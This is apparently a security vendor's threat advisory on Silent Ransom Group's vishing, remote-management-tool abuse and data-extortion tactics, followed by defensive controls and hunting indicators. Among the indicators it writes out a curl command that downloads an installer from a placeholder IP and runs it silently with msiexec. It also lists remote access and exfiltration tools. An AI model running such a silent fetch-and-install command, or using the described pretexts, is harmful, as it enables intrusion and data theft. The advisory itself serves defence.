Silent Ransom Group (“SRG”), also tracked as Luna Moth, CHATTY SPIDER, Storm-0252, and UNC3753, is a data-theft extortion group. Rather than encrypting systems, SRG exfiltrates sensitive data and monetizes it via extortion. The group achieves initial access through social engineering, primarily vishing, rather than by exploiting software vulnerabilities or deploying malicious payloads.
The group has focused on US law firms since spring 2023 and has expanded targeting to include financial and professional services firms.
Because SRG operates through legitimately signed remote monitoring and management (RMM) software rather than malicious payloads, it rarely triggers signature-based endpoint detections. The strongest controls are application control policies that block unsanctioned RMM tools and a mandatory out-of-band callback procedure for verifying IT support requests.
What is Silent Ransom Group?
Silent Ransom Group is a financially motivated data extortion group that has been active since 2022. Other security vendors track the same activity as Luna Moth, CHATTY SPIDER, Storm-0252, and UNC3753. SRG steals data rather than encrypting it, so victims face disclosure risk instead of an outage, and the extortion often extends to the victim's own clients.
How Silent Ransom Group's methods have evolved
SRG has kept the same goal while changing how it reaches employees.
Callback Phishing (2022-2025): Victims received emails, often with a PDF attached, about a small subscription or renewal charge. The email listed a phone number, and the person who answered talked the caller into installing a remote access tool.
Help Desk Impersonation (March-April 2025): The group began calling employees directly and posing as the organization's own IT help desk
In-person Visit (2025-2026): In at least one instance, SRG sent someone to a victim's office posing as IT support to get hands-on access to a computer.
Data Migration Lures (2026): An invoice or data migration email sets up the call. The caller has the victim share their screen and install remote management software, then finds and takes the data. In some cases, victims were walked through exporting files from document management systems such as iManage themselves.
Who does Silent Ransom Group target?
Primary focus: US law firms, consistently since spring 2023. Law firms manage sensitive data which allows for more pressure during extortion.
Other sectors: Insurance, financial services, healthcare and professional services.
Current campaign: Mandiant counted dozens of US victims in legal, financial and professional services between January and May 2026.
Figure 1: Silent Ransom Group victims claimed per month over the last 12 months. Claims spiked in April 2026, climbed through the summer, and stayed near their 12-month high through September.
Silent Ransom Group's TTPs
SRG's tradecraft maps to a short list of MITRE ATT&CK techniques. None of them require custom malware.
Phishing and Vishing (T1566 and T1598.004): Invoice, billing, subscription or IT-themed emails and calls start the intrusion.
User Execution (T1204): The victim installs the remote management or remote access tool themselves, following the caller's instructions.
Remote Access Software (T1219): Commercial tools such as Zoho Assist, AnyDesk or Quick Assist provide control of the machine in place of a custom backdoor.
Hardware Additions and Removable Media (T1200 and T1091): During in-person visits, the actor plugs removable media into a victim's computer.
Data from Information Repositories (T1213): The actor searches document management systems such as iManage for tax forms, Social Security numbers, audit files and client agreements, then exports them in bulk.
Exfiltration to Cloud Storage and over USB (T1567.002 and T1052.001): Data leaves through the remote access tool, through WinSCP or Rclone to cloud storage, or on a USB drive.
How Silent Ransom Group extorts victims
SRG does not encrypt systems, so the pressure comes from disclosure rather than downtime.
Ransom email: A message from an unnamed group threatens to leak or sell the stolen data.
Phone pressure: The group follows up by calling the victim's employees to push for negotiations.
Client outreach: SRG has sometimes reached out to its victims’ clients directly to pressure them to pay.
Why Silent Ransom Group is hard to detect
SRG uses the same remote support and file transfer tools that IT teams use every day, so its activity can look routine. The FBI warns against treating the presence of these tools as proof of SRG activity on its own. The strongest signal is a sequence: a new remote management tool installed shortly after an inbound call or email, followed within an hour by WinSCP or Rclone traffic leaving the network.
Gaps in logging make an investigation more difficult. In an early 2025 MOXFIVE investigation, SRG contacted an organization with a file listing and screenshots as proof of theft. Sweeps of more than 250 endpoints and a full Microsoft 365 compromise assessment found no evidence of compromise. As a result of a recent migration and lack of firewall traffic logging, MOXFIVE could not confirm the theft report as credible.
How to defend against Silent Ransom Group
SRG succeeds by persuading people, so the controls that matter most interrupt the conversation and the remote session.
Allow-list remote management software: Permit only the tools your IT team uses, block the rest, and alert when a new remote access tool is installed.
Require callback verification: Staff should end unexpected IT or "security" calls and call back on a number from the company directory, never one supplied by the caller or in an email.
Verify visitors in person: Anyone arriving on site as IT support should be confirmed with IT before they touch a computer or plug in a USB drive.
Control removable media: Restrict USB storage on systems that hold sensitive client data.
Watch bulk exports from document systems: Alert on keyword searches for tax forms, Social Security numbers or client agreements followed by bulk exports from iManage or similar platforms.
Monitor outbound transfers: Alert on WinSCP, including the portable version, and on renamed or hidden Rclone binaries connecting to external addresses.
Keep the logs you will need: Enable firewall traffic logging and retain document management and cloud storage audit logs, so an investigation can measure what left the network.
Indicators to hunt for
Most public indicators of SRG are behavioral rather than atomic, so allow-listing and callback procedures will hold up better than blocklists. Organizations should look for:
Unauthorized remote access tools: Zoho Assist, Quick Assist, AnyDesk, RustDesk, Syncro, Splashtop, Atera, Bomgar (BeyondTrust) and SuperOps RMM installed without an IT request.
Installs from a download: A cURL download piped into a quiet MSI install, for example curl -sL "http://<ip>/installer" -o "SuperOps.msi" && msiexec /i "SuperOps.msi" /quiet.
Exfiltration tools: WinSCP, including the portable version used when the user is not an administrator, and hidden or renamed Rclone binaries.
Cloud uploads: Transfers to Google Drive or OneDrive that do not match normal use.
Local staging: Files collected or archived in a user's Downloads or AppData\Roaming folder.
Privnote links: Used to pass instructions or download links during a session.
Social signals: Unsolicited calls or emails from "internal IT" or "security," often to staff listed on the firm's website, and invoice or data migration emails that ask the recipient to call a number.
What to check this week
Confirm which remote management tools are approved, and block or alert on everything else.
Brief help desk, reception and executive assistants on callback verification and on-site visitor checks.
Review recent installs of remote access tools and confirm each one matches an IT ticket.
Confirm firewall traffic logging is on, and document management audit logs are retained.
Check whether staff contact details on your website make specific employees easy to target.
Evidence to preserve
If SRG contacts your organization, preserve the following for your investigation team and for a report to the FBI's Internet Crime Complaint Center (IC3):
The ransom note.
The threat actor's phone numbers, email accounts and voicemails.
The original phishing email.
Any cryptocurrency wallet details.
Photos or CCTV footage of anyone who came on site posing as IT.
How MOXFIVE can help
MOXFIVE responds to data-theft extortion without encryption cases like these. Our Technical Advisors coordinate forensics, scoping of what data was taken, and containment alongside legal, insurance and executive stakeholders, so organizations can make decisions under pressure and prepare for notification and client communications.
MOXGUARD helps organizations get ahead of groups like SRG with remote access and identity reviews, help desk verification guidance, tabletop exercises built on real social-engineering intrusions, and pre-positioned incident response. If your organization believes it may be affected, contact our team at 833-568-6695 or incident@moxfive.com.
Andrew Kopcienski is a Principal Intelligence Analyst at MOXFIVE. He has spent more than a decade in cyber threat intelligence, including seven years at Mandiant and Google, and earlier roles at iSIGHT Partners, Intel 471, and GroupSense, tracking cybercrime actors and turning their activity into guidance defenders can act on.
Experts predict there will be a ransomware attack every 11 seconds in 2021.
from Cybercrime Magazine
Our mission is to minimize the business impact of cyber attacks.
HOW WE CAN HELP
Incident Response
MOXFIVE provides the clarity and peace of mind needed for attack victims during the incident response process. Our platform approach enables victims of attacks to work with a Technical Advisor who provides the expertise and guidance needed in a time of crisis, and facilitates the delivery of all technical needs required, consistently and efficiently.
With experience on the front lines responding to incidents daily, MOXFIVE Technical Advisors have the unique ability to connect the dots between business, information technology, and security objectives to help you quickly identify the gaps and build a more resilient environment.
